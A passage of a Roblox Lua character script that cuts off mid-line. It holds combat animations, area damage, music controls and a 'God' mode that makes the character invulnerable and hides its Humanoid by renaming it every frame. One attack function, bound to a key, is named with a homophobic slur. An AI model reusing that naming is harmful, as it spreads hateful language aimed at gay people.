AOEDamage(pos,8,{MinimumDamage=100,MaximumDamage=500,MaxHP=0,DamageFX={DeathFunction=GrabANoobsSoul}}) Sound(RArm,238353911,.8,6,false,true,true) coroutine.wrap(function() for i = 0, 1, .05 do ray.Transparency = i swait() end ray:destroy() end)() for i = 0, .7, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-4.68989847e-11, -1.07431245, 2.49501318e-06, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.506277919, 0.0234779716, -0.612002969, 0.999878109, -9.59694546e-11, 0.015612145, -9.81408521e-05, 0.999980211, 0.00628542574, -0.0156118376, -0.00628619269, 0.999858439),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.488053799, -1.43056154, -0.653246641, 0.999878109, -0.0152971046, 0.0031194177, -9.8173201e-05, 0.193645224, 0.981071711, -0.015611616, -0.980952501, 0.19362013),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-0.405749947, 0.473833799, -0.493766844, 0.365731448, -0.921088159, -0.133555874, 0.13443999, 0.19427453, -0.971690953, 0.920959532, 0.337422758, 0.194883406),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(0.949500263, 0.459093392, 0, 0.999878109, 0.0156117259, 7.85123193e-05, -9.8173201e-05, 0.0113163982, -0.999935985, -0.015611616, 0.999814153, 0.0113165528)*CF.A(M.R(25),0,0),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(1.00737707e-05, 1.49894547, -0.0144003704, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-4.68989847e-11, -1.07431245, 2.49501318e-06, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.506277919, 0.0234779716, -0.612002969, 0.999878109, -9.59694546e-11, 0.015612145, -9.81408521e-05, 0.999980211, 0.00628542574, -0.0156118376, -0.00628619269, 0.999858439),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.488053799, -1.43056154, -0.653246641, 0.999878109, -0.0152971046, 0.0031194177, -9.8173201e-05, 0.193645224, 0.981071711, -0.015611616, -0.980952501, 0.19362013),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-0.405749947, 0.473833799, -0.493766844, 0.365731448, -0.921088159, -0.133555874, 0.13443999, 0.19427453, -0.971690953, 0.920959532, 0.337422758, 0.194883406),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(0.949500263, 0.459093392, -0.375410318, 0.999878109, 0.0156117259, 7.85123193e-05, -9.8173201e-05, 0.0113163982, -0.999935985, -0.015611616, 0.999814153, 0.0113165528),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(1.00737707e-05, 1.49894547, -0.0144003704, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end WalkSpeed = oWS Attack = false NeutralAnims = true end function EnderCrusher() Attack = true NeutralAnims = false for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.00522388704, 0.00628674403, -0.00522619626, 0.0688143149, -0.00627302658, -0.997609854, 2.14558099e-06, 0.99998033, -0.00628778478, 0.997629464, 0.000430549087, 0.0688129738),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496492326, -0.990816116, 0.0216155611, 0.993310273, 0, 0.115476817, -0.000726110418, 0.99998033, 0.00624586828, -0.115474544, -0.00628793286, 0.993290722),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498532742, -0.990978837, 0.0154617764, 0.994481444, 0, -0.104913011, 0.000659685873, 0.99998033, 0.00625323225, 0.10491094, -0.00628793286, 0.994461834),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.21578574, 0.745456934, 0.0146782137, -0.572345138, 0.819864511, 0.0156007186, -0.819891989, -0.572483957, 0.00629093405, 0.014088871, -0.00919030979, 0.999858677),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.46006393, 0.556873441, -0.0312470123, 0.974938631, -0.189474821, -0.116593234, 0.191492826, 0.981474221, 0.0062534851, 0.113248363, -0.0284235328, 0.993160248),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(0.00563911209, 1.52473295, -0.109123379, 0.0523908362, 0.00942024402, 0.998582244, -0.183145523, 0.983085871, 0.000334712997, -0.981688976, -0.182903409, 0.0532299653),Alpha) end for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.0205445699, 0.193036824, -0.986245275, 0.0668300614, -0.013895493, -0.997667611, 0.487526804, 0.872867286, 0.0205003377, 0.870546579, -0.487759739, 0.0651082024),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.653007567, -1.04005051, 0.0135816727, 0.875705957, 0.473324358, 0.0954113901, -0.468000621, 0.880668044, -0.0734798834, -0.118805602, 0.0196941663, 0.992722213),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.572268248, -0.862032056, 0.0185812451, 0.875338256, 0.473323733, -0.0987298191, -0.472729653, 0.880668402, 0.0308205243, 0.101536319, 0.0196941309, 0.994636893),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.50244987, 0.677883029, 0.00128105097, 0.880246103, 0.474452406, 0.00785287656, -0.474386185, 0.879492998, 0.0380767621, 0.0111590661, -0.0372422226, 0.999243975),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.46005797, 0.556865275, -0.0312457234, 0.974938869, -0.189474136, -0.116593227, 0.191492081, 0.98147428, 0.00625339895, 0.113248393, -0.0284233708, 0.993160188),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(0.00564883649, 1.52473044, -0.109123766, 0.0523897149, 0.00942194462, 0.998582244, -0.183142692, 0.983086407, 0.000332683325, -0.981689572, -0.182900488, 0.0532291718),Alpha) end end function BurnInHell() Attack = true NeutralAnims = false local oWS = WalkSpeed WalkSpeed = 0 for i = 0, 4, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(0.00485810312, 0.0316153169, 0.311138451, 0.999987781, 0.00486974791, -0.000811986625, -0.00487500243, 0.948008895, -0.318206728, -0.000779815018, 0.318206787, 0.948021114),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.510864973, -0.229482889, -0.90414387, 0.999878109, -0.00487500243, 0.014832234, -9.87363892e-05, 0.948008895, 0.31824407, -0.0156125315, -0.318206728, 0.947892845),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498864055, -1.05720699, 0.0368085802, 0.999878109, -0.00487500243, 0.014832234, -9.87363892e-05, 0.948008895, 0.31824407, -0.0156125315, -0.318206728, 0.947892845),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.35505569, 0.670614362, -0.223142803, 0.959186316, 0.282539397, -0.0115337875, 0.200012222, -0.706719875, -0.678632736, -0.199891627, 0.648628354, -0.734387398),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.36051559, 0.693020046, -0.238958716, 0.964897394, -0.262373805, -0.0115305167, -0.200247049, -0.70659554, -0.678692877, 0.169923812, 0.657177925, -0.734331787),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(7.16691147e-06, 1.49894702, -0.0144103244, 1, -2.56579369e-07, -9.6578151e-07, 3.18512321e-07, 0.997964621, 0.0637722015, 9.47155058e-07, -0.0637722015, 0.997964621),Alpha) end local hit,pos = CastRay(Root.CFrame.p,Root.CFrame*CF.N(0,-100,0).p,4) if(hit)then Sound(Root,584533998,1,10,false,true,true) NoobySphere(6,0,'Multiply',CF.N(pos),V3.N(25,.1,25),3,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'xz') NoobySphere(6,0,'Multiply',CF.N(pos),V3.N(27,.1,27),3,C3.N(M.RNG(),M.RNG(),M.RNG()),0,20329976,'xyz') CamShakeAll(25,480,CF.N(pos)) AOEDamage(pos,100,{MinimumDamage=65,MaximumDamage=125,DamageFX={DeathFunction=GrabANoobsSoul}}) for i = 0, 6, 0.1 do swait() local Alpha = .7 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.00231076009, 0.00770531036, -0.147999823, 0.99999398, -0.00343433861, -0.00036024116, 0.00343199959, 0.976900637, 0.213666588, -0.000381881371, -0.213666543, 0.976906598),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.507900298, -0.858686984, -0.710240602, 0.999878109, 0.00343199959, 0.0152302161, -9.81268749e-05, 0.976900637, -0.213694125, -0.015611805, 0.213666588, 0.976781964),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.497379601, -1.00486779, -0.0586356819, 0.999878109, 0.00343199959, 0.0152302161, -9.81268749e-05, 0.976900637, -0.213694125, -0.015611805, 0.213666588, 0.976781964),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.32998621, 0.381940007, -0.114178419, 0.976541102, -0.214856252, 0.0142948823, 0.202841416, 0.895589113, -0.395949066, 0.0722698048, 0.389560163, 0.918161273),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.33391047, 0.313477397, -0.14020586, 0.964281619, 0.264514685, 0.0138949398, -0.230238646, 0.862955749, -0.4497751, -0.130962834, 0.4305107, 0.893033922),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(9.53666768e-06, 1.49893439, -0.0143984929, 1, 0, -9.31322575e-10, 0, 0.99796474, 0.0637705624, 9.31322575e-10, -0.0637705922, 0.99796474),Alpha) end Sound(Head,1140666966,1,5,false,true,true) end WalkSpeed = oWS Attack = false NeutralAnims = true end function Punch1() Attack = true NeutralAnims = false for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.00303284684, -0.00845655054, 0.018393999, 0.829989552, -0.00170222612, -0.557776392, -0.0659508482, 0.992681146, -0.101166509, 0.553866267, 0.120752975, 0.82380271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.498080581, -0.967759907, -0.0813563764, 0.999878287, 0.00258669257, 0.0153926909, -9.47788358e-05, 0.987160385, -0.159732834, -0.0156083405, 0.159711912, 0.987040341),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.551928759, -0.937464952, 0.0919702426, 0.997745395, -0.0659520403, 0.0124365687, 0.0643434152, 0.992680907, 0.102198936, -0.0190857947, -0.101168282, 0.994686365),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.19935811, 0.247517601, 0.102068216, 0.862561703, -0.47241962, -0.181127191, 0.5056777, 0.793171406, 0.339366257, -0.0166583657, -0.384316325, 0.923051357),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.36349249, 0.481498182, 0.454916179, 0.961948335, -0.273231745, 2.82377005e-06, 0.00172190368, 0.00605178624, -0.999980271, 0.273226321, 0.961929321, 0.00629197806),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(5.7220459e-06, 1.59853172, -0.197701856, 0.8530972, 0.111252025, -0.509753108, 0.0332853794, 0.963407874, 0.265965462, 0.520689368, -0.24386172, 0.818177402),Alpha) end Sound(RArm,314390675,.8,5,false,true,true) CamShake(Char,10,20) for i = 0, 1, 0.1 do swait() AOEDamage(Hitbox.CFrame.p,1,{BreakGlass=true,MinimumDamage=25,MaximumDamage=45,DamageFX={DeathFunction=GrabANoobsSoul}}) local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(0.221829414, -0.041221004, -0.167406395, 0.655658543, -0.0240739044, 0.7546736, -0.126397654, 0.981888115, 0.141135931, -0.744402826, -0.187925935, 0.640740454),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.38520214, -0.664491296, -0.834472895, 0.959806442, 0.145656854, -0.239907712, -0.00527707487, 0.864004254, 0.503456831, 0.280613184, -0.481955111, 0.830045581),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.541060686, -0.867475212, -0.0686345175, 0.300405502, -0.230044976, -0.925654411, 0.0495565683, 0.972932756, -0.225711957, 0.952523351, 0.0219328459, 0.303674638),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.19936907, 0.247526154, 0.10210143, 0.862560809, -0.472424746, -0.181118309, 0.505679011, 0.793172836, 0.339360535, -0.016664207, -0.384306818, 0.923055112),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.32535827, 0.626296461, -0.365535617, 0.667200208, -0.734076262, 0.126396075, -0.0211371183, -0.188276812, -0.981888533, 0.744578481, 0.652444601, -0.14113459),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(0.109995492, 1.54714108, -0.197692186, 0.891068459, 0.111260638, -0.44002074, 0.0119341798, 0.963409364, 0.267768592, 0.453712255, -0.243851393, 0.857135892),Alpha) end NoobySphere(2,0,'Multiply',RArm.CFrame*CF.N(0,-1.25,0),V3.N(1,1,1),.02,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'xyz') CliccAttack = 1 Attack = false NeutralAnims = true end function Punch2() Attack = true NeutralAnims = false for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(0.00346098561, 0.00628894754, -0.0012467528, 0.726998925, 0.0043156785, 0.686625063, -1.47682942e-06, 0.99998033, -0.00628366228, -0.686638534, 0.00456720171, 0.72698462),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.526590466, -0.738100231, -0.162178785, 0.998713851, 0.0483061969, 0.015406251, -0.0501749068, 0.985334337, 0.163092062, -0.00730189681, -0.163655281, 0.986490667),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498546928, -0.990978956, 0.0154537652, 0.737630069, 0, -0.675205052, 0.00424381625, 0.99998033, 0.00463617174, 0.67519176, -0.00628522551, 0.737615526),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.39983284, 0.47202, 0.441156834, 0.974284291, 0.225321591, 0.000400889665, -0.006716704, 0.0308211353, -0.99950248, -0.225221843, 0.973796844, 0.0315419659),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.12138152, 0.390171707, 0.100771606, 0.894619286, 0.425640225, -0.135966122, -0.326698512, 0.830674589, 0.450830519, 0.3048352, -0.358901739, 0.882193387),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(7.91251659e-06, 1.49894547, -0.0143923312, 0.911271095, -0.0442877896, 0.409418523, -0.0262595415, 0.985927641, 0.165097922, -0.41096884, -0.161200091, 0.897284389),Alpha) end Sound(LArm,138097048,.85,5,false,true,true) CamShake(Char,10,20) for i = 0, 1, 0.1 do swait() AOEDamage(Hitbox2.CFrame.p,1,{BreakGlass=true,MinimumDamage=25,MaximumDamage=45,DamageFX={DeathFunction=GrabANoobsSoul}}) local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(0.136174262, 0.00628654659, -0.0922046751, 0.677523315, -0.00462364964, -0.735486805, 1.58175465e-06, 0.99998033, -0.0062849354, 0.735501349, 0.00425702613, 0.677509904),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.526590168, -0.738105536, -0.162170187, 0.998713851, 0.0483057015, 0.015409112, -0.050174918, 0.985334039, 0.163093939, -0.00730475783, -0.163657293, 0.98649025),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498551786, -0.990978837, 0.0154557731, 0.73763144, 0, -0.675203681, 0.00424459483, 0.99998033, 0.0046370402, 0.67519033, -0.00628639245, 0.737616837),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.25003541, 0.491848499, -0.0866259038, 0.787719667, 0.616033971, 0.000401966274, -0.0191161502, 0.025095908, -0.999502361, -0.615737379, 0.787319839, 0.0315447338),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.1213876, 0.39017421, 0.100768551, 0.894620538, 0.425638735, -0.135962933, -0.326698095, 0.83067435, 0.450831085, 0.304832101, -0.358903915, 0.882193565),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(4.991889e-06, 1.49894702, -0.0143903494, 0.742484093, -0.0442790203, 0.668398857, -0.0754856765, 0.985926628, 0.149166599, -0.665597081, -0.161208332, 0.728692353),Alpha) end NoobySphere(2,0,'Multiply',LArm.CFrame*CF.N(0,-1.25,0),V3.N(1,1,1),.02,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'xyz') CliccAttack = 2 Attack = false NeutralAnims = true end function Balls() Attack = true NeutralAnims = false local col = C3.N(M.RNG(),M.RNG(),M.RNG()) for i = 0, .7, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.00215275097, 0.00629182765, -0.00059090578, 0.900342047, -0.00273694564, -0.435174465, 9.35837932e-07, 0.999980211, -0.00628724555, 0.435183108, 0.00566026382, 0.900324225),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.469716221, -1.06538355, 0.0258644074, 0.974693179, 0.142052263, 0.172611207, -0.143726677, 0.989613414, -0.00282384129, -0.171219468, -0.0220564567, 0.984986067),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498543769, -0.990978837, 0.0154537726, 0.982019305, 0, 0.188781217, -0.00118727924, 0.999980211, 0.00617609732, -0.188777432, -0.00628918223, 0.981999874),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.46611869, 0.607237041, 0.019460775, 0.975984871, 0.217278525, 0.01561445, -0.217396572, 0.976063132, 0.0062906472, -0.0138738751, -0.00953410566, 0.999858379),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.21949148, 0.508351624, 0.358449012, 0.860025883, -0.505158067, 0.0719099715, 0.0637161881, -0.0335059837, -0.99740541, 0.506256819, 0.862376273, 0.00337073021),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(7.62939544e-06, 1.49894273, -0.0144160762, 1.00000012, 0, 0, 0, 0.99796468, 0.0637711138, 0, -0.0637711212, 0.997964621),Alpha) end Sound(LArm,138097048,.8,5,false,true,true) for i = 0, .7, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.189023629, 0.00628119428, 0.0795610398, 0.764717221, 0.00405249046, 0.64435333, -1.38591895e-06, 0.99998033, -0.00628746813, -0.644366086, 0.00480724219, 0.764702141),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.469702303, -1.06538916, 0.0258520916, 0.921251655, 0.142055079, 0.362099022, -0.140328288, 0.989613056, -0.0312121194, -0.362771749, -0.0220585242, 0.931616962),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.49855575, -0.990978956, 0.0154509144, 0.971297801, 0, -0.237866998, 0.00149597228, 0.99998033, 0.00610860158, 0.237862319, -0.00628911238, 0.971278608),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.45857167, 0.644691706, -0.0370098501, 0.975984752, 0.212625384, -0.0473736525, -0.217396557, 0.936839819, -0.27398926, -0.0138756037, 0.277708232, 0.960565329),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.20919418, 0.515175998, -0.398130298, 0.808712423, -0.588204265, 0, 0.00369928288, 0.00508608343, -0.99998033, 0.588192701, 0.808696389, 0.00628911238),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(1.44699588e-05, 1.49894357, -0.0144186728, 0.921718836, 0, -0.387858808, 0.00243928749, 0.99998033, 0.00579679385, 0.387851059, -0.00628911238, 0.921700656),Alpha) end SoundPart(206083252,.8,4,false,true,true,RArm.CFrame*CF.N(0,-1.25,0)) CamShake(Char,25,45,RArm.CFrame*CF.N(0,-1.25,0)) AOEDamage(RArm.CFrame*CF.N(0,-1.25,0).p,4,{MinimumDamage=35,MaximumDamage=65,DamageFX={DeathFunction=GrabANoobsSoul}}) for i = 1, 10 do NoobySphere(2,.1,'Multiply',RArm.CFrame*CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)),V3.N(1.5,1.5,1.5),-.01,col,0,nil,'xyz') end NoobySphere(2,0,'Multiply',RArm.CFrame*CF.N(0,-1.25,0),V3.N(2,2,2),.02,col,0,nil,'xyz') NoobySphere(4,0,'Multiply',RArm.CFrame*CF.N(0,-1.25,0),V3.N(2,2,2),.1,col,0,nil,'xyz') NoobySphere(2,0,'Multiply',RArm.CFrame*CF.N(0,-1.25,0)*CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)),V3.N(2.5,1.25,2.5),.02,col,0,1058822174,'xyz') CliccAttack = 3 Attack = false NeutralAnims = true end function Spin() Attack = true NeutralAnims = false for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-0.130551443, 0.00628537219, -0.069158569, 0.567979217, 0.00517133344, 0.823026657, -1.77017421e-06, 0.99998033, -0.00628196634, -0.823042929, 0.00356656965, 0.567967951),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496484399, -0.990816236, 0.021614084, 0.999878287, 0, 0.015612185, -9.80941113e-05, 0.99998033, 0.00628242362, -0.0156118274, -0.00628318777, 0.999858499),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498544514, -0.990978956, 0.0154505149, 0.999878287, 0, 0.015612185, -9.80941113e-05, 0.99998033, 0.00628242362, -0.0156118274, -0.00628318777, 0.999858499),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-0.867346704, 0.364127517, -0.592892349, 0.343383282, -0.928154707, 0.143585742, 0.611392558, 0.104853727, -0.784350157, 0.7129426, 0.357119888, 0.603471875),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(0.586915255, 0.520536065, -0.638412833, 0.340278387, 0.762223601, 0.550659537, 0.0388735868, 0.573702097, -0.818141103, -0.939520955, 0.299801826, 0.165588096),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(4.76837204e-06, 1.49894536, -0.0143966526, 1.00000012, 0, 0, -2.32830644e-10, 0.997965157, 0.0637637973, 2.98023224e-08, -0.0637638047, 0.997965038),Alpha) end for i = 0, 1, .06 do swait() local col = C3.N(M.RNG(),M.RNG(),M.RNG()) for i = 1, 3 do NoobySphere(5,.1,'Multiply',Torso.CFrame*CF.N(-8,0,0)*CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)),V3.N(1,1,1),-.01,col,0,nil,'xyz') end SoundPart(206083252,1.2,1.6,false,true,true,Torso.CFrame*CF.N(-8,0,0)) NoobySphere(5,0,'Multiply',Torso.CFrame*CF.N(-8,0,0),V3.N(1.5,1.5,1.5),.02,col,0,nil,'xyz') AOEDamage(Torso.CFrame*CF.N(-8,0,0).p,3,{MinimumDamage=35,MaximumDamage=65,DamageFX={DeathFunction=GrabANoobsSoul}}) local Alpha = 1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674868, -5.34626452e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271)*CF.A(0,M.R(i*385),0),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496486187, -0.990818024, 0.0216199681, 0.999878109, -9.59694546e-11, 0.015612145, -9.81408521e-05, 0.999980211, 0.00628542574, -0.0156118376, -0.00628619269, 0.999858439),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498537898, -0.990980625, 0.0154640935, 0.999878109, -9.59694546e-11, 0.015612145, -9.81408521e-05, 0.999980211, 0.00628542574, -0.0156118376, -0.00628619269, 0.999858439),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.452793, 0.502107382, 0.0199129172, -4.37788152e-08, 0.999878109, 0.0156119233, -0.999980211, -9.82169149e-05, 0.00628757617, 0.00628834357, -0.015611616, 0.999858439),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.42737567, 0.494466186, -0.0250103828, -4.36333032e-08, -0.999878109, 0.0156119233, 0.999980211, 9.8129487e-05, 0.00628757617, -0.00628834264, 0.015611616, 0.999858439),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(4.35172615e-06, 1.49894738, -0.0144014433, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end for i = 0, 1.2, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(0.427243918, -0.920417011, 0.0234051645, 0.679439783, 0.549923182, -0.485742748, -0.444893807, 0.83520782, 0.323260784, 0.583464742, -0.00353231793, 0.812130868)*CF.A(0,M.R(-8.22),0),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.176611602, -0.983374894, -0.89919436, 0.920897245, -0.048158884, -0.386819303, 0.319696367, 0.661085546, 0.678793311, 0.223030806, -0.748763561, 0.624187946),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.359278589, 0.0876072049, -0.182106972, 0.910182238, -0.403486162, 0.0936347246, 0.411501646, 0.855026662, -0.315588117, 0.047275275, 0.325773478, 0.944265127),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.31082213, 0.463033974, 0.0179460477, 0.925886035, 0.377480268, 0.0156087875, -0.37760976, 0.925943553, 0.00628813449, -0.0120791793, -0.0117161274, 0.999858379),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.46370375, 0.0682249963, -0.0286035687, 0.883351564, -0.45030269, 0.130067378, 0.468411744, 0.858031332, -0.210648447, -0.0167463124, 0.247001737, 0.968870401),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(2.31595841e-05, 1.49894369, -0.0143923387, 0.980648994, -0.195774525, -3.27825546e-07, 0.195376158, 0.978653729, 0.0637584627, -0.0124819279, -0.0625247359, 0.997965455),Alpha) end CliccAttack = 0 Attack = false NeutralAnims = true end --// Wrap it all up \\-- local Playlist = { MusicID, 1117727239, 405404773, 155965093, 268259914 } local nums = {Enum.KeyCode.One,Enum.KeyCode.Two,Enum.KeyCode.Three,Enum.KeyCode.Four,Enum.KeyCode.Five,Enum.KeyCode.Six,Enum.KeyCode.Seven,Enum.KeyCode.Eight,Enum.KeyCode.Nine,Enum.KeyCode.Zero} function KeyToNum(kc) for i,v in next, nums do if(v == kc)then return i end end return 0 end S.UserInputService.InputBegan:connect(function(io,gpe) if(gpe)then return end local num = KeyToNum(io.KeyCode) if(num and Playlist[num])then MusicID = Playlist[num] end if(io.KeyCode == Enum.KeyCode.M)then MusicParent = (MusicParent == miniRadio and PlrGui or miniRadio) warn("Music is now in "..MusicParent.Name) Music:Pause() end if(Attack)then return end if(io.KeyCode == Enum.KeyCode.LeftControl)then WalkSpeed = (WalkSpeed == 16 and 50 or 16) elseif(io.KeyCode == Enum.KeyCode.T)then Taunt() elseif(io.KeyCode == Enum.KeyCode.Z)then Boolets() elseif(io.KeyCode == Enum.KeyCode.X)then BurnInHell() elseif(io.KeyCode == Enum.KeyCode.C)then SnapAFaggotsNeck() end end) Mouse.Button1Down:connect(function() if(Attack)then return end if(CliccAttack == 0)then Punch1() elseif(CliccAttack == 1)then Punch2() elseif(CliccAttack == 2)then Balls() elseif(CliccAttack == 3)then Spin() end end) Plr.Chatted:connect(function(m) if(Attack)then return end if(m == '/e wave')then Wave() end end) local col = { RLeg.Color, LLeg.Color, RArm.Color, LArm.Color, Head.Color, Torso.Color } local Nametags = {"NERO!","NERO","N3R0","3nd37","end3r","end37","3nder","3nde7","ENDer","eNDER","eNder","enDer","endEr","endeR","H3LP ME"} coroutine.wrap(function() while true do if(M.RNG(1,200) == 1 and not Glitching)then Glitching = true swait(M.RNG(15,30)) Glitching = false end swait() end end)() local Meshes = {} for _,v in next, Char:GetDescendants() do if(v:IsA'DataModelMesh')then table.insert(Meshes,v) end end while true do swait() Sine = Sine + Change if(not Music or not Music.Parent)then local tp = (Music and Music.TimePosition) Music = Sound(MusicParent,MusicID,1,10,true,false,true) Music.Name = 'Music' Music.TimePosition = tp end -- Music.SoundId = "rbxassetid://"..MusicID Music.Parent = MusicParent Music.Pitch = .85 Music.Volume = (MusicParent ~= PlrGui and Plr.UserId ~= 5719877 and 1 or 5) Music.Playing = not Glitching if(not Static or not Static.Parent)then local tp = (Static and Static.TimePosition) Static = Sound(Torso,MusicID,1,10,true,false,true) Static.Name = 'Music' Static.TimePosition = tp end Static.SoundId = "rbxassetid://584533998" Static.Parent = Torso Static.Pitch = M.RNG(90,95)/100 Static.Volume = 5 miniRadio.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) if(God)then Hum.MaxHealth = 1e100 Hum.Health = 1e100 if(not Char:FindFirstChildOfClass'ForceField')then IN("ForceField",Char).Visible = false end Hum.Name = M.RNG()*100 end local hitfloor,posfloor = workspace:FindPartOnRay(Ray.new(Root.CFrame.p,((CFrame.new(Root.Position,Root.Position - Vector3.new(0,1,0))).lookVector).unit * (4*PlayerSize)), Char) local Walking = (math.abs(Root.Velocity.x) > 1 or math.abs(Root.Velocity.z) > 1) local State = (Hum.PlatformStand and 'Paralyzed' or Hum.Sit and 'Sit' or not hitfloor and Root.Velocity.y < -1 and "Fall" or not hitfloor and Root.Velocity.y > 1 and "Jump" or hitfloor and Walking and (Hum.WalkSpeed < 24 and "Walk" or "Run") or hitfloor and "Idle") if(not Effects or not Effects.Parent)then Effects = IN("Model",Char) Effects.Name = "Effects" end if(State == 'Run')then local wsVal = 16 / (Hum.WalkSpeed/16) local Alpha = math.min(.2 * (Hum.WalkSpeed/16),1) Change = 1 RH.C1 = 